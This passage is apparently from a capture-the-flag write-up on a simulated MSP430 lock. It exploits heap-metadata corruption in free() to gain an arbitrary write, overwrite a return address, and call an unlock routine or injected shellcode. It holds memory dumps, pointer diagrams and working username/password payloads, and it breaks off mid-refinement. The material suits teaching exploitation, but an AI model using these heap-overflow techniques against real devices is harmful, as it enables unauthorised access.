2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9024 ...............$
2420: 3424 2100 bbbb 0000 0000 0000 0000 0000 4$!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The memory is as follows before and after the call to free.
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9024 ...............$
2420: 3424 2100 bbbb 0000 0000 0000 0000 0000 4$!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2450: *
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9024 ...............$
2420: 3424 2000 bbbb 0000 0000 0000 0000 0000 4$ .............
2430: 0000 0000 9024 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2450: *
2490: 0000 0824 c81f 0000 0000 0000 0000 0000 ...$............
24a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The algorithm writes two values of unknown provenance to addresses 0x2492 and 0x2494 after the corruption of a single byte.
Differential Runtime Analysis
Observe the pointers during the course of the free call.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ │ │
│ │ │ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ │ │
└──────────────────┘ │
│
│
│
┌───────────────────────────────────────────┘
│
│
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ │ │
│ │ │ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ │ │
└──────────────────┘ │
│
│
│
┌───────────────────────────────────────────┘
│
│
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ │ │
│ │ │ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ │ │
└──────────────────┘ │
│
│
│
┌───────────────────────────────────────────┘
│
│
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ 0026 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ │ │
│ │ │ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ │ │ │
└──────┼───────────┘ │
│ │
┌────┘ │
│ │
│ ┌───────────────────────────────────────────┘
│ │
│ │ ┌──────────────────────┐
│ ▼ │ │
│ ┌────────┬────────┬─────┴──┬────────┬────────┐ │
│ │DATA │ 0000 │ 2434 │ 0026 │ .... │ │
│ ├────────┼────────┼────────┼────────┼────────┤ │
│ │ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │ │
│ └────────┴────────┴────────┴────────┴────────┘ │
│ │
└────────────────────────────────────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ │ │
│ │ │
│ ┌───────────┘ │
│ │ │
│ │ ┌──────────────────────────────────────────────────┐ │
│ ▼ │ │ │
│ ┌────┴───┬────────┬────────┬──────────────────────────┐ │ │
│ │ 2490 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │ │
│ ▲ │ │ │
│ │ │ │ │
└──────┼───────────┘ │ │
│ │ │
┌────┘ ┌───────────────────────────────────────────┘ │
│ │ │
│ │ ┌───────────────────────────────────────────┘
│ │ │
│ │ │ ┌──────────────────────┐
│ ▼ ▼ │ │
│ ┌────────┬────────┬─────┴──┬────────┬────────┐ │
│ │DATA │ 0000 │ 2434 │ 0026 │ .... │ │
│ ├────────┼────────┼────────┼────────┼────────┤ │
│ │ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │ │
│ └────────┴────────┴────────┴────────┴────────┘ │
│ │
└────────────────────────────────────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ │ │
│ │ │
│ ┌───────────┘ │
│ │ │
│ │ ┌──────────────────────────────────────────────────┐ │
│ ▼ │ │ │
│ ┌────┴───┬────────┬────────┬──────────────────────────┐ │ │
│ │ 2490 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │ │
│ ▲ │ │ │
│ │ │ │ │
└──────┼───────────┘ │ │
│ │ │
┌────┘ ┌───────────────────────────────────────────┘ │
│ │ │
│ │ ┌───────────────────────────────────────────┘
│ │ │
│ │ │ ┌──────────────────────┐
│ ▼ ▼ │ │
│ ┌────────┬────────┬─────┴──┬────────┬────────┐ │
│ │DATA │ 0000 │ 2434 │ 1fc8 │ .... │ │
│ ├────────┼────────┼────────┼────────┼────────┤ │
│ │ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │ │
│ └────────┴────────┴────────┴────────┴────────┘ │
│ │
└────────────────────────────────────────────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │ ┌────────────────────────────────────────────────────┐
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ ┌───────────┘ │
│ │ │
│ │ ┌───────────────────────────────────────────────────┐ │
│ ▼ │ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │ │
│ │ 2490 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ ┌───────────┘ │ │
│ │ │ │
│ │ ┌──────────────────────────────────────────────────┐ │ │
│ ▼ │ │ │ │
│ ┌────┴───┬────────┬────────┬──────────────────────────┐ │ │ │
│ │ 2490 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │ │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │ │ │
│ │ │ │ │
│ │ │ │ │
└──────────────────┘ │ │ │
│ │ │
┌───────────────────────────────────────────┘ │ │
│ │ │
│ ┌───────────────────────────────────────────┘ │
│ │ │
│ │ ┌───────────────────────────────────┘
▼ ▼ │
┌────────┬────────┬─────┴──┬────────┬────────┐
│DATA │ 0000 │ 2408 │ 1fc8 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
This behavior implies that it is possible to overwrite arbitrary addresses with the two values at 0x2492 and 0x2494—a random write primitive. While this may sometimes be useful, controlling the two written values would be preferable. The next question is where they come from.
This example writes the value 0x2408 to address 0x2492. The value 0x2408 is recognizable in multiple other locations before the free call.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ │ │
│ │ │ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ │ │
└──────────────────┘ │
│
│
│
┌───────────────────────────────────────────┘
│
│
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
Assuming for the sake of argument that this data structure is entirely self-contained (i.e., there is no lookup table located elsewhere in memory), that implies that the contents of 0x2492 must come from one of these locations. Altering one of these words may allow direct control of the value written at 0x2492.
The longest possible buffer overflow alters the latter of these words.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │ ┌───────────────────────────────────────────────────┐
│ ▼ │ │
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ │ 2490 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ ┌───────────┘ │
│ │ │ │
│ │ │ │
│ │ ▼ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ │ │
└──────────────────┘ │
│
│
│
┌───────────────────────────────────────────┘
│
│
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
The payload to achieve this is as follows. This overflow preserves the original memory contents except for the highlighted bytes.
Username
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9024 3424 2100Password
bbbb bbbb bbbb bbbb bbbb bbbb bbbb bbbb 1e24 adde 9c1fResult
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
│
│
┌──┐ │
│ ▼ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
│
┌───────────┘
│
│ ┌───────────────────────────────────────────────────┐
▼ │ │
┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ 2490 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │ │
└────────┴─────┬──┴────────┴──────────────────────────┘ │
▲ │ │
┌────┘ │ │
│ │ │
│ ┌───────────┘ │
│ │ │
│ │ │
│ ▼ │
│ ┌────────┬────────┬────────┬──────────────────────────┐ │
└─┤ 241e │ dead │ 1f9c │ 0000 0000 0000 0000 .... │ │
└────────┴────────┴────────┴──────────────────────────┘ │
│
│
│
│
│
│
┌───────────────────────────────────────────┘
│
│
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
│
│
┌──┐ │
│ ▼ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
│
┌───────────┘
│
│ ┌───────────────────────────────────────────────────┐
▼ │ │
┌─────┴──┬────────┬────────┬──────────────────────────┐ │
│ 2490 │ 2434 │ 0020 │ bbbb bbbb bbbb bbbb .... │ │
└────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │
│ │
│ │
┌───────────┘ │
│ │
│ ┌──────────────────────────────────────────────────┐ │
▼ │ │ │
┌────┴───┬────────┬────────┬──────────────────────────┐ │ │
│ 2490 │ dead │ 1f9c │ 0000 0000 0000 0000 .... │ │ │
└────────┴────────┴────────┴──────────────────────────┘ │ │
│ │
│ │
│ │
│ │
┌───────────────────────────────────────────┘ │
│ │
│ ┌───────────────────────────────────────────┘
│ │
│ │
▼ ▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ dead │ 1fc8 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0x2490 │ 0x2492 │ 0x2494 │ .... │
└────────┴────────┴────────┴────────┴────────┘
2490: 0000 adde c81f 0000 0000 0000 0000 0000 ................
24a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................This alteration writes the big-endian value 0xdead to address 0x2492. Theoretically, this is an arbitrary write primitive that can clobber code pointers in one shot.
Rather like Bedouins lying on beaches.
Exploit Weaponization
Changing the exploit to overwrite a return address is simple. Single-step until the end of the free function (address 0x4562).
The stack pointer at this point in execution is as follows.
The return address is the big-endian value 0x46a8. The proof of concept will overwrite this value. The first overflowed word should be two bytes less than the address of the write target.
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 4392 │ .... │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
│ │
│ ┌───────────┘
│ │
│ │
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
│ │ .... │ dead │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │WRITE
│ └─────┐
│ │
│ │
│ │
│ │
└─────────────┐ │
│ │
│ │
POINTER▼ ▼
┌────────┬────────┬────────┬────────┐
│DATA │ .... │ 46a8 │ .... │
├────────┼────────┼────────┼────────┤
│ADDRESS │ 0x4392 │ 0x4394 │ .... │
└────────┴────────┴────────┴────────┘
Username
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9243 3424 2100The value that will overwrite the return address should be a pointer to some code. The address of the unlock_door function works, but it could also point to some shellcode injected as part of the username.
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 4392 │ .... │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
│ │
│ ┌───────────┘
│ │
│ │
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
│ │ .... │ 4564 │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │WRITE
│ └─────┐
│ │
│ │
│ │
│ │
└─────────────┐ │
│ │
│ │
POINTER▼ ▼
┌────────┬────────┬────────┬────────┐
│DATA │ .... │ 46a8 │ .... │
├────────┼────────┼────────┼────────┤
│ADDRESS │ 0x4392 │ 0x4394 │ .... │
└────────┴────────┴────────┴────────┘
Password
bbbb bbbb bbbb bbbb bbbb bbbb bbbb bbbb 1e24 6445 9c1fArbitrary Code Execution
Supplying the above data in the username and password buffers results in a successful unlock interrupt call.
Alternate Approach
Calling shellcode achieves the same result. Recall that executing the following assembly is functionally equivalent to calling the unlock_door function.
Disassembly
3240 00ff mov #0xff00, sr
b012 1000 call #0x10
Assembly
324000ffb0121000Injecting the shellcode and modifying the exploit to call it is trivial. The data structure will be as follows after the return from free.
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 4392 │ .... │ .... │ 3240 00ff b012 1000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │ ▲POINTER
│ │ │
│ │ │
│ ┌───────────┘ │
│ │ │
│ │ └──────────────────────────┐
│ ▼ │
│ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ │ .... │ 240e │ .... │ .... .... .... .... .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │WRITE │
│ └─────┐ ┌───────────────────────────────┘
│ │ │
│ │ │
│ │ │
│ │ │
└─────────────┐ │ │
│ │ │
│ │ │
POINTER▼ ▼ │
┌────────┬────────┬─────┴──┬────────┐
│DATA │ .... │ 240e │ .... │
├────────┼────────┼────────┼────────┤
│ADDRESS │ 0x4392 │ 0x4394 │ .... │
└────────┴────────┴────────┴────────┘
Username
3240 00ff b012 1000 aaaa aaaa aaaa aaaa 9243 3424 2100Password
bbbb bbbb bbbb bbbb bbbb bbbb bbbb bbbb 1e24 0e24 9c1fResult
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7266 cycles.
Refining The Technique
This exploit requires either two separate buffer overflows or one very large one. In this case, there were 48 bytes of overflow, but that is not always true. For example, a more plausible scenario is where a developer allocates 16 bytes and then reads 0x16 bytes (decimal 22) into that buffer. Supposing there was only a single six-byte overflow, this technique would not work. Ideally, it should be possible to use this same write primitive given control of only the following three words.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Substituting Arbitrary Values
Refining the technique requires understanding the algorithm in more detail. Consider what happens after setting the first and second overflowed words to arbitrary values.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa aaaa aaaa aaaa .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ ┌───────────┘
│ │
│ │
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
│ │ cccc │ eeee │ 0021 │ bbbb 0000 0000 0000 .... │
│ └─────┬──┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ └─────────────────────────────────────────────┐
│ │ │ │
│ │ └───────────────────────────────────────────────────┐ │
│ │ │ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │ │
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │ │
│ │ │ │
└──────────────────┘ │ │
│ │
┌───────────────────────────────────────────┘ │
│ │
│ │
│ │
│ │
▼ │
┌────────┬────────┬────────┬────────┬────────┐ │
│DATA │ 0000 │ 0000 │ 0000 │ .... │ │
├────────┼────────┼────────┼────────┼────────┤ │
│ADDRESS │ 0xcccc │ 0xccce │ 0xccd0 │ .... │ │
└────────┴────────┴────────┴────────┴────────┘ │
│
┌──────────────────────────────────────────────┘
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ 0000 │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0xeeee │ 0xeef0 │ 0xeef2 │ .... │
└────────┴────────┴────────┴────────┴────────┘
Username
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa cccc eeee 2100Password
bbbb
Results
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa cccc ................
2420: eeee 2100 bbbb 0000 0000 0000 0000 0000 ..!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa cccc ................
2420: eeee 2000 bbbb 0000 0000 0000 0000 0000 .. .............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
ccd0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
cce0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
ccf0: *
eee0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
eef0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
ccd0: 2c00 0000 0000 0000 0000 0000 0000 0000 ,...............
cce0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
ccf0: *
eee0: 0000 0000 0000 0000 0000 0000 0000 cccc ................
eef0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The algorithm now writes the value 0xCCCC to address 0xEEEE, suggesting the existence of another arbitrary write primitive. The payload probably has the following structure.
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa cccc eeee 2100
▲ ▲
┌─────────────┘ └───┐
│ │
┌──┴──┐ ┌───┴───┐
│VALUE│ IS WRITTEN TO │ADDRESS│
└─────┘ └───────┘
Load Address Unaligned Crash
The next step is checking whether changing the write value tangibly affects the exploit.
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 5555 eeee 2100This payload results in a crash.
load address unaligned: 5559
CPUOFF flag set; program no longer running. CPU must now be reset.
Recall that this value is also a pointer. Pointers must be word-aligned on the MSP430 ISA, meaning the written value must point to an even offset. Incrementing the first overflowed word fixes this bug.
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 5655 eeee 2100This results in the following behavior.
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa 5655 ..............VU
2420: eeee 2100 bbbb 0000 0000 0000 0000 0000 ..!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa 5655 ..............VU
2420: eeee 2000 bbbb 0000 0000 0000 0000 0000 .. .............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5550: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5560: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5570: *
eee0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
eef0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5550: 0000 0000 0000 0000 0000 2c00 0000 0000 ..........,.....
5560: 0000 0000 0000 0000 0000 0000 0000 0000 ................
5570: *
eee0: 0000 0000 0000 0000 0000 0000 0000 5655 ..............VU
eef0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Changing the value to write does not seem to alter the algorithm's behavior, the evenness requirement aside.
Testing The Improved Technique
This new technique works as follows. The proof of concept again targets the return address.
Username
